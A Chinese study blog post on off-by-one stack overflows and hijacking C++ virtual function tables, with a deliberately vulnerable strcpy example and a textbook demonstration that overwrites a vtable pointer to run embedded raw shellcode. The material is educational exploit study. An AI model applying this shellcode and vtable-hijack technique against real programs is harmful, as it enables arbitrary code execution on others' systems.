对 Off by one Overflow 与 攻击 C++ 虚函数的理解

Off by one Overflow

与常规的溢出不同,Off by one 只溢出一个字节,刚好可以突破 buffer 边界,大多数情况下并不是严重问题。但如果缓冲区后面跟着 EBP 和返回地址时,溢出的一个字节导致我们『部分』地控制 EBP(EBP 最低位),如果可以让 EBP 落入缓冲区中就可以控制 EIP,进而劫持进程。

一字节溢出常出现的场景包括:

  • 字符串 00 结束符
  • while (i <= max) …
  • for (i=0; i<=max; i++) …
  • 类似如下代码:
//vuln.c

#include <stdio.h>
#include <string.h>

void foo(char* arg);
void bar(char* arg);

void foo(char* arg) {
	bar(arg);
}

void bar(char* arg) {
	char buf[256];
	strcpy(buf, arg);
}

int main(int argc, char *argv[]) {
	if(strlen(argv[1])>256) {
		printf("Attempted Buffer Overflow\n");
		fflush(stdout);
		return -1;
	}

	foo(argv[1]);
	return 0;
}

虽然代码中对输入长度进行判断,但若输入 『AAAAA』(256个 A),刚好可以通过该判断,字符串结束符『\x00』会覆盖 EBP 的最低位,如果覆盖后的 EBP 指向我们的 buffer中,便可以劫持进程(Windows XP SP3上未复现)。

攻击 C++ 虚函数

《C Primer Plus》只看了一点就扔下了,导致这里开始完全不懂,Google 了些资料后了解了其用法及机制。

C++中的虚函数的作用主要是实现了多态的机制。关于多态,简而言之就是用父类型别的指针指向其子类的实例,然后通过父类的指针调用实际子类的成员函数。这种技术可以让父类的指针有“多种形态”,这是一种泛型技术。所谓泛型技术,说白了就是试图使用不变的代码来实现可变的算法。比如:模板技术,RTTI技术,虚函数技术,要么是试图做到在编译时决议,要么试图做到运行时决议。

对C++ 了解的人都应该知道虚函数(Virtual Function)是通过一张虚函数表(Virtual Table)来实现的。简称为 V-Table。在这个表中,主是要一个类的虚函数的地址表,这张表解决了继承、覆盖的问题,保证其容真实反应实际的函数。这样,在有虚函数的类的实例中这个表被分配在了这个实例的内存中,所以,当我们用父类的指针来操作一个子类的时候,这张虚函数表就显得由为重要了,它就像一个地图一样,指明了实际所应该调用的函数。

C++的编译器应该是保证虚函数表的指针存在于对象实例中最前面的位置(这是为了保证取到虚函数表的有最高的性能——如果有多层继承或是多重继承的情况下)。 这意味着我们通过对象实例的地址得到这张虚函数表,然后就可以遍历其中函数指针,并调用相应的函数。

结合如下代码便可以理解其机制:

#include <iostream>

using namespace std;

class Base {
     public:
            virtual void f() { cout << "Base::f" << endl; }
            virtual void g() { cout << "Base::g" << endl; }
            virtual void h() { cout << "Base::h" << endl; }

};

typedef void(*Fun)(void);

int main() {
	Base b;
	Fun pFun = NULL;

	cout << "虚表指针保存在:" << (int*)(&b) << endl;
	cout << "虚表指针指向:" << (int*)*(int*)(&b) << endl;
	cout << "第一个虚函数入口地址:" << (int *)*((int*)*(int*)(&b)) << endl;

	// Invoke the first virtual function
	pFun = (Fun)*((int*)*(int*)(&b));
	pFun();

	return 0;
}

调试如图:

如果对象实例的内存空间中成员变量发生了溢出,有机会修改对象中的虚表指针或修改虚表中的虚函数指针,那么在程序调用虚函数时就会去执行 shellcode。

参考《0day 安全:软件漏洞分析技术》书中的例子:

#include "windows.h"
#include "iostream.h"

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x1C\x88\x40\x00";//set fake virtual function pointer

class Failwest
{
public:
	char buf[200];

	virtual void test(void)
	{
		cout<<"Class Vtable::test()"<<endl;
	}
};

Failwest overflow, *p;

void main(void)
{
	char * p_vtable;
	p_vtable=overflow.buf-4;
	//__asm int 3
	//reset fake virtual table to 0x004088cc
	//the address may need to ajusted via runtime debug
	p_vtable[0]=0xCC;
	p_vtable[1]=0x88;
	p_vtable[2]=0x40;
	p_vtable[3]=0x00;
	strcpy(overflow.buf,shellcode);//set fake virtual function pointer
	p=&overflow;
	p->test();
}

修改虚表指针指向缓冲区 => 程序按照伪造的指针去寻找虚表 => 伪造虚函数指针 => 程序调用虚函数执行 shellcode

References